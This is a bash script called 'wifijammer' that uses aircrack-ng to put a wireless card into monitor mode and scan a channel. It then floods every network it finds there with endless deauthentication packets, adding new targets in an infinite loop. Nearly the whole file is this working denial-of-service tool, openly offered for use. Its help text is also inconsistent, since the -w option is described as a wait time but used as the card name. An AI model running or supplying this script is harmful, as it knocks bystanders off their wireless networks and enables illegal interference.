#!/bin/bash

SCAN=0
VERSION=0.1
while getopts "w:c:shv" OPTION; do
    case "$OPTION" in
        # This argument sets the amount of time to wait collecting airodump data
        w)
            WIFIVAR=$OPTARG
            ;;
        c)
            NUMBER=$OPTARG
            ;;
        s)
            SCAN=1
            ;;
        h)
            echo -e "wifijammer, version $VERSION
Usage: $0 [-s] -w [wifi card] -c [channel]

This is a bash based wifi jammer. It uses your wifi card to continuously send de-authenticate packets to every client on a specified channel... at lest thats what its suppose to do. This program needs the Aircrack-ng suit to function and a wifi card that works with aircrack.

Options:
    Required:
    -w  time to wait in minutes during airodump
    -c  channel to scan

    Optional:
    -s  scan for wireless networks first
    -h  display help message
    -v  display version

Example: $0 -w wlan0 -c 2

Report bugs to http://code.google.com/p/wifijammer/ -> issues section
Written by esmith2000@gmail.com"
            exit 1
            ;;
        v)
            echo "$0, version $VERSION"
            ;;
    esac
done

if [[ $# -lt 1 ]]; then
    echo -e "wifijammer, $VERSION
Usage: $0 [-s] -w [wifi card] -c [channel]
Program to find, hack, and exploit wireless networks.
Options:
    Required:
    -w  time to wait in minutes during airodump
    -c  channel to scan

    Optional:
    -s  scan for wireless networks first
    -h  display help message
    -v  display version

Example: $0 -w wlan0 -c 2

Report bugs to http://code.google.com/p/wifijammer/ -> issues section
Written by esmith2000@gmail.com and developers at http://code.google.com/p/wifijammer/"
            exit 1
fi

if [[ $WIFIVAR == "" ]]; then
    echo "You must specify the -w option!"
    exit 1
fi

if [[ $NUMBER == "" ]] && [[ $SCAN -eq 0 ]]; then
    echo "You must specify a channel with the -c option!"
    exit 1
fi

if [[ $SCAN -ne 0 ]] && [[ $NUMBER -ne 0 ]]; then
    echo "You may only specify either -s or -c, not both! Exiting..."
    exit 1
fi

if [ x"`which id 2> /dev/null`" != "x" ]; then
    USERID="`id -u 2> /dev/null`"
fi

if [ x$USERID = "x" -a x$UID != "x" ]; then
    USERID=$UID
fi

if [ x$USERID != "x" -a x$USERID != "x0" ]; then
    #Guess not
    echo Run it as root ; exit ;
fi

# Changes working directory to the same as this file
DIR="$( cd "$( dirname "$0" )" && pwd )"
cd $DIR

#Checks if user specified a WIFI card
if [ x"$WIFIVAR" = x"" ]; then
    echo "No wifi card specified, scanning for available cards (doesnt always work)"
    USWC="no"
else
    echo "Using user specified wifi card ""$WIFIVAR"
    USWC="yes"
fi

if [ x"$USWC" = x"no" ]; then
    # Uses Airmon-ng to scan for available wifi cards.
    airmon-ng|cut -b 1,2,3,4,5,6,7 > clist01
    count=0
    if [ -e "clist" ]; then
        rm clist
    fi

    cat clist01 |while read LINE ; do
        if [ $count -gt 3 ];then
            echo "$LINE" | cut -b 1-7 | tr -d [:space:] >>clist
            count=$((count+1))
        else
            count=$((count+1))
        fi
    done
    rm clist01

    WIFI=`cat clist`
    echo "Using first available Wifi card: `airmon-ng|grep "$WIFI"`"
    echo "If you would like to specify your own card please do so at the command line"
    echo "etc: sudo ./wifijammer_0.1 eth0"
    rm clist
else
    WIFI="$WIFIVAR"
fi

#Check for a wifi card
if [ x"$WIFI" = x"" ]; then
    #Guess no wifi card was detected
    echo "No wifi card detected. Quitting"
    exit
fi

#Start the wireless interface in monitor mode
if [ x"$airmoncard" != x"1" ]; then
    airmon-ng start $WIFI >tempairmonoutput
    airmoncard="1"
fi

#Looks for wifi card thats been set in Monitor mode
if [ x"$testcommandvar02" = x"" ]; then
    WIFI02=`cat tempairmonoutput | grep "monitor mode enabled on" | cut -b 30-40 | tr -d [:space:] |tr -d ")"`
    if [ x$WIFI02 = x ]; then
        WIFI02=`cat tempairmonoutput | grep "monitor mode enabled" | cut -b 1-5 | tr -d [:space:]`
    fi
    WIFI="$WIFI02"
    rm tempairmonoutput
fi

echo "$WIFI"

# Asks user to specify a channel to jam, or to see a 40 second scan of the area
#read -p "Please specify a channel to jam, or type in 'scan' (without quotes) to see airodump's output for 40 seconds:" NUMBER

if [[ $SCAN -eq 1 ]]; then
    # scan was entered, so start airodump-ng in channel hopping mode to scan the area
    airodump-ng $WIFI &
    SCANPID=$!
    sleep 40s
    kill $SCANPID
    sleep 1s
    #Asks user to specify a channel
    read -p "Please specify a channel to jam:" NUMBER
    CHANNEL="$NUMBER"
fi

# Launches airodump-ng on specified channel to start gathering a client list
rm *.csv

echo "Scanning specified channel"
airodump-ng -c $NUMBER -w airodumpoutput $WIFI &> /dev/tty2 &

# Removes temp files that are no longer needed
rm *.cap 2>/dev/null
rm *.kismet.csv 2>/dev/null
rm *.netxml 2>/dev/null

# Makes a folder that will be needed later
mkdir stationlist 2>/dev/null
rm stationlist/*.txt

# Start a loop so new clients can be added to the jamming list
while [ x1 ]; do
    sleep 5s
    # Takes appart the list of clients and reorganizes it in to something useful
    cat airodumpoutput*.csv|while read LINE01 ; do
        echo "$LINE01" > tempLINE01
        LINE=`echo $LINE01|cut -f 1 -d ,|tr -d [:space:]`
        rm tempLINE01
        # Ignores any blank
        if [ x"$LINE" != x"" ];then
            if [ x"$LINE" = x"StationMAC" ];then
                start="no"
            fi
            if [ x"$start" = x"yes" ];then
                if [ -e stationlist/"$LINE".txt ];then
                    echo "" 2>/dev/null
                else
                    # Lauches new window with de-authenticate thingy doing it's thing
                    echo "Jamming $LINE"
                    aireplay-ng --deauth 0 -a $LINE $WIFI &> /dev/tty2 &
                    echo "$LINE" > stationlist/$LINE.txt
                fi
            fi
            if [ x"$LINE" = x"BSSID" ];then
                start="yes"
            fi
        fi
    done
done